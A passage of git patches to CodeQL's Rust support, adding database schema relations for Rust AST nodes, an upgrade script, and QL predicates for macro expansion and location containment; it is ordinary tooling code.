+@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties new file mode 100644 index 000000000000..deb8bcdb9440 --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/upgrade.properties @@ -0,0 +1,4 @@ +description: Remove 'module' from Crate +compatibility: partial + +crate_modules.rel: delete From 8996f9e61c2fb0db3454940a5a66d5b3f64e00ff Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 19 May 2025 14:14:57 +0200 Subject: [PATCH 289/535] Rust: Follow-up work to make path resolution and type inference tests pass again --- .../rust/elements/internal/AstNodeImpl.qll | 19 ++++- .../rust/elements/internal/LocatableImpl.qll | 2 +- .../rust/elements/internal/LocationImpl.qll | 73 +++++++++++++++++-- .../rust/elements/internal/MacroCallImpl.qll | 16 ++++ .../codeql/rust/frameworks/stdlib/Stdlib.qll | 1 + .../codeql/rust/internal/PathResolution.qll | 63 +++++----------- .../codeql/rust/internal/TypeInference.qll | 2 +- .../PathResolutionInlineExpectationsTest.qll | 5 +- rust/ql/test/TestUtils.qll | 14 +++- .../test/library-tests/path-resolution/my.rs | 10 +-- .../path-resolution/path-resolution.expected | 10 +-- .../path-resolution/path-resolution.ql | 4 +- .../type-inference/type-inference.expected | 68 +++++++++-------- .../type-inference/type-inference.ql | 12 ++- 14 files changed, 193 insertions(+), 106 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll index f75294f3d10e..b80da6d7084f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AstNodeImpl.qll @@ -15,6 +15,7 @@ module Impl { private import rust private import codeql.rust.elements.internal.generated.ParentChild private import codeql.rust.controlflow.ControlFlowGraph + private import codeql.rust.elements.internal.MacroCallImpl::Impl as MacroCallImpl /** * Gets the immediate parent of a non-`AstNode` element `e`. @@ -59,10 +60,20 @@ module Impl { } /** Holds if this node is inside a macro expansion. */ - predicate isInMacroExpansion() { - this = any(MacroCall mc).getMacroCallExpansion() - or - this.getParentNode().isInMacroExpansion() + predicate isInMacroExpansion() { MacroCallImpl::isInMacroExpansion(_, this) } + + /** + * Holds if this node exists only as the result of a macro expansion. + * + * This is the same as `isInMacroExpansion()`, but excludes AST nodes corresponding + * to macro arguments. + */ + pragma[nomagic] + predicate isFromMacroExpansion() { + exists(MacroCall mc | + MacroCallImpl::isInMacroExpansion(mc, this) and + not this = mc.getATokenTreeNode() + ) } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll index ed349df48681..fcb5289e0493 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LocatableImpl.qll @@ -43,7 +43,7 @@ module Impl { File getFile() { result = this.getLocation().getFile() } /** Holds if this element is from source code. */ - predicate fromSource() { exists(this.getFile().getRelativePath()) } + predicate fromSource() { this.getFile().fromSource() } } private @location_default getDbLocation(Locatable l) { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll index 52daf46863b6..65cc6b3bd7c4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LocationImpl.qll @@ -77,13 +77,76 @@ module LocationImpl { ) } - /** Holds if this location starts strictly before the specified location. */ + /** Holds if this location starts before location `that`. */ pragma[inline] - predicate strictlyBefore(Location other) { - this.getStartLine() < other.getStartLine() - or - this.getStartLine() = other.getStartLine() and this.getStartColumn() < other.getStartColumn() + predicate startsBefore(Location that) { + exists(string f, int sl1, int sc1, int sl2, int sc2 | + this.hasLocationInfo(f, sl1, sc1, _, _) and + that.hasLocationInfo(f, sl2, sc2, _, _) + | + sl1 < sl2 + or + sl1 = sl2 and sc1 <= sc2 + ) + } + + /** Holds if this location starts strictly before location `that`. */ + pragma[inline] + predicate startsStrictlyBefore(Location that) { + exists(string f, int sl1, int sc1, int sl2, int sc2 | + this.hasLocationInfo(f, sl1, sc1, _, _) and + that.hasLocationInfo(f, sl2, sc2, _, _) + | + sl1 < sl2 + or + sl1 = sl2 and sc1 < sc2 + ) + } + + /** Holds if this location ends after location `that`. */ + pragma[inline] + predicate endsAfter(Location that) { + exists(string f, int el1, int ec1, int el2, int ec2 | + this.hasLocationInfo(f, _, _, el1, ec1) and + that.hasLocationInfo(f, _, _, el2, ec2) + | + el1 > el2 + or + el1 = el2 and ec1 >= ec2 + ) } + + /** Holds if this location ends strictly after location `that`. */ + pragma[inline] + predicate endsStrictlyAfter(Location that) { + exists(string f, int el1, int ec1, int el2, int ec2 | + this.hasLocationInfo(f, _, _, el1, ec1) and + that.hasLocationInfo(f, _, _, el2, ec2) + | + el1 > el2 + or + el1 = el2 and ec1 > ec2 + ) + } + + /** + * Holds if this location contains location `that`, meaning that it starts + * before and ends after it. + */ + pragma[inline] + predicate contains(Location that) { this.startsBefore(that) and this.endsAfter(that) } + + /** + * Holds if this location strictlycontains location `that`, meaning that it starts + * strictly before and ends strictly after it. + */ + pragma[inline] + predicate strictlyContains(Location that) { + this.startsStrictlyBefore(that) and this.endsStrictlyAfter(that) + } + + /** Holds if this location is from source code. */ + predicate fromSource() { this.getFile().fromSource() } } class LocationDefault extends Location, TLocationDefault { diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index c28d08f540b1..f8f96315fd4c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -11,6 +11,15 @@ private import codeql.rust.elements.internal.generated.MacroCall * 